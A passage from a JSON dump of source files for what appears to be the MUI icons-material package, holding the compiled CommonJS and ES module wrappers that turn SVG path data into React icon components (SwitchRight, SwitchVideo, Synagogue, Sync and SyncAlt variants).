  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zm4.79-2.67c.39-.39.39-1.02 0-1.41L15.7 6.71c-.62-.63-1.7-.19-1.7.7v9.17c0 .89 1.08 1.34 1.71.71zM10 16.59V7.41c0-.89-1.08-1.34-1.71-.71L3.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.19 1.71-.7\"\n}), 'SwitchRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}, \"1\")], 'SwitchRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}, \"1\")], 'SwitchRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zm-5 6V13H7v2.5L3.5 12 7 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zm-5 6V13H7v2.5L3.5 12 7 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 13h4v2l3-3-3-3v2H8V9l-3 3 3 3zm10-3.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zM16 17H4V7h12z\"\n}), 'SwitchVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 13h4v2l3-3-3-3v2H8V9l-3 3 3 3zm10-3.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zM16 17H4V7h12z\"\n}), 'SwitchVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V7.91c0-.89-1.08-1.34-1.71-.71zm-5 6V13H7v2.5l-3.15-3.15c-.2-.2-.2-.51 0-.71L7 8.5V11h6V8.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'SwitchVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V7.91c0-.89-1.08-1.34-1.71-.71zm-5 6V13H7v2.5l-3.15-3.15c-.2-.2-.2-.51 0-.71L7 8.5V11h6V8.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'SwitchVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.5V5H2v14h16v-4.5l4 4v-13zm-5 6V13H7v2.5L3.5 12 7 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.5V5H2v14h16v-4.5l4 4v-13zm-5 6V13H7v2.5L3.5 12 7 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h12V7H4zm4-8v2h4V9l3 3-3 3v-2H8v2l-3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 13h4v2l3-3-3-3v2H8V9l-3 3 3 3zm10-3.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zM16 17H4V7h12z\"\n}, \"1\")], 'SwitchVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h12V7H4zm4-8v2h4V9l3 3-3 3v-2H8v2l-3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 13h4v2l3-3-3-3v2H8V9l-3 3 3 3zm10-3.5V6c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-3.5l4 4v-13zM16 17H4V7h12z\"\n}, \"1\")], 'SwitchVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Synagogue.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8v13h4v-5c0-1.1.9-2 2-2s2 .9 2 2v5h4V8l-6-5zm7.5 2c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2M1 9h4v12H1zm20-4c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 4h4v12h-4z\"\n}), 'Synagogue');"
  },
  {
    "path": "packages/mui-icons-material/lib/Synagogue.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8v13h4v-5c0-1.1.9-2 2-2s2 .9 2 2v5h4V8l-6-5zm7.5 2c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2M1 9h4v12H1zm20-4c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 4h4v12h-4z\"\n}), 'Synagogue');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4c-1.66 0-3 1.34-3 3v.29L12 3 7 7.29V7c0-1.66-1.34-3-3-3S1 5.34 1 7v14h10v-5c0-.55.45-1 1-1s1 .45 1 1v5h10V7c0-1.66-1.34-3-3-3m0 2c.55 0 1 .45 1 1v1h-2V7c0-.55.45-1 1-1M4 6c.55 0 1 .45 1 1v1H3V7c0-.55.45-1 1-1M3 19v-9h2v9zm14 0h-2v-3c0-1.65-1.35-3-3-3s-3 1.35-3 3v3H7V9.92l5-4.29 5 4.29zm2 0v-9h2v9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1.5\"\n}, \"1\")], 'SynagogueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4c-1.66 0-3 1.34-3 3v.29L12 3 7 7.29V7c0-1.66-1.34-3-3-3S1 5.34 1 7v14h10v-5c0-.55.45-1 1-1s1 .45 1 1v5h10V7c0-1.66-1.34-3-3-3m0 2c.55 0 1 .45 1 1v1h-2V7c0-.55.45-1 1-1M4 6c.55 0 1 .45 1 1v1H3V7c0-.55.45-1 1-1M3 19v-9h2v9zm14 0h-2v-3c0-1.65-1.35-3-3-3s-3 1.35-3 3v3H7V9.92l5-4.29 5 4.29zm2 0v-9h2v9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1.5\"\n}, \"1\")], 'SynagogueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.94V21h4v-4.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v5h4V8.94c0-.59-.26-1.16-.72-1.54l-4-3.33c-.74-.62-1.82-.62-2.56 0l-4 3.33c-.46.38-.72.94-.72 1.54M13.5 10c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m0 16h2V9H1v10c0 1.1.9 2 2 2M21 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 16h2c1.1 0 2-.9 2-2V9h-4z\"\n}), 'SynagogueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.94V21h4v-4.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v5h4V8.94c0-.59-.26-1.16-.72-1.54l-4-3.33c-.74-.62-1.82-.62-2.56 0l-4 3.33c-.46.38-.72.94-.72 1.54M13.5 10c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m0 16h2V9H1v10c0 1.1.9 2 2 2M21 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 16h2c1.1 0 2-.9 2-2V9h-4z\"\n}), 'SynagogueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8v13h4v-7h4v7h4V8l-6-5zm7.5 2c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2M1 9h4v12H1zm20-4c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 4h4v12h-4z\"\n}), 'SynagogueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8v13h4v-7h4v7h4V8l-6-5zm7.5 2c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M3 5c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2M1 9h4v12H1zm20-4c-1.1 0-2 .9-2 2v1h4V7c0-1.1-.9-2-2-2m-2 4h4v12h-4z\"\n}), 'SynagogueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6c-.55 0-1 .45-1 1v1h2V7c0-.55-.45-1-1-1m-1 4h2v9H3zm4-.08V19h2v-3c0-1.65 1.35-3 3-3s3 1.35 3 3v3h2V9.92l-5-4.29zm6.5.08c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M20 6c-.55 0-1 .45-1 1v1h2V7c0-.55-.45-1-1-1m-1 4h2v9h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4c-1.66 0-3 1.34-3 3v.29L12 3 7 7.29V7c0-1.66-1.34-3-3-3S1 5.34 1 7v14h10v-5c0-.55.45-1 1-1s1 .45 1 1v5h10V7c0-1.66-1.34-3-3-3M5 19H3v-9h2zM5 8H3V7c0-.55.45-1 1-1s1 .45 1 1zm12 11h-2v-3c0-1.65-1.35-3-3-3s-3 1.35-3 3v3H7V9.92l5-4.29 5 4.29zm4 0h-2v-9h2zm0-11h-2V7c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1.5\"\n}, \"2\")], 'SynagogueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SynagogueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6c-.55 0-1 .45-1 1v1h2V7c0-.55-.45-1-1-1m-1 4h2v9H3zm4-.08V19h2v-3c0-1.65 1.35-3 3-3s3 1.35 3 3v3h2V9.92l-5-4.29zm6.5.08c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5M20 6c-.55 0-1 .45-1 1v1h2V7c0-.55-.45-1-1-1m-1 4h2v9h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4c-1.66 0-3 1.34-3 3v.29L12 3 7 7.29V7c0-1.66-1.34-3-3-3S1 5.34 1 7v14h10v-5c0-.55.45-1 1-1s1 .45 1 1v5h10V7c0-1.66-1.34-3-3-3M5 19H3v-9h2zM5 8H3V7c0-.55.45-1 1-1s1 .45 1 1zm12 11h-2v-3c0-1.65-1.35-3-3-3s-3 1.35-3 3v3H7V9.92l5-4.29 5 4.29zm4 0h-2v-9h2zm0-11h-2V7c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1.5\"\n}, \"2\")], 'SynagogueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sync.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'Sync');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sync.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'Sync');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.41 13.41 6 12l-4 4 4 4 1.41-1.41L5.83 17H21v-2H5.83zm9.18-2.82L18 12l4-4-4-4-1.41 1.41L18.17 7H3v2h15.17z\"\n}), 'SyncAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.41 13.41 6 12l-4 4 4 4 1.41-1.41L5.83 17H21v-2H5.83zm9.18-2.82L18 12l4-4-4-4-1.41 1.41L18.17 7H3v2h15.17z\"\n}), 'SyncAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.65 7.65-2.79-2.79c-.32-.32-.86-.1-.86.35V7H4c-.55 0-1 .45-1 1s.45 1 1 1h14v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7M20 15H6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.19-.2.51-.01.7l2.79 2.79c.32.32.86.1.86-.35V17h14c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'SyncAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.65 7.65-2.79-2.79c-.32-.32-.86-.1-.86.35V7H4c-.55 0-1 .45-1 1s.45 1 1 1h14v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7M20 15H6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.19-.2.51-.01.7l2.79 2.79c.32.32.86.1.86-.35V17h14c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'SyncAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltTwoTone.js",
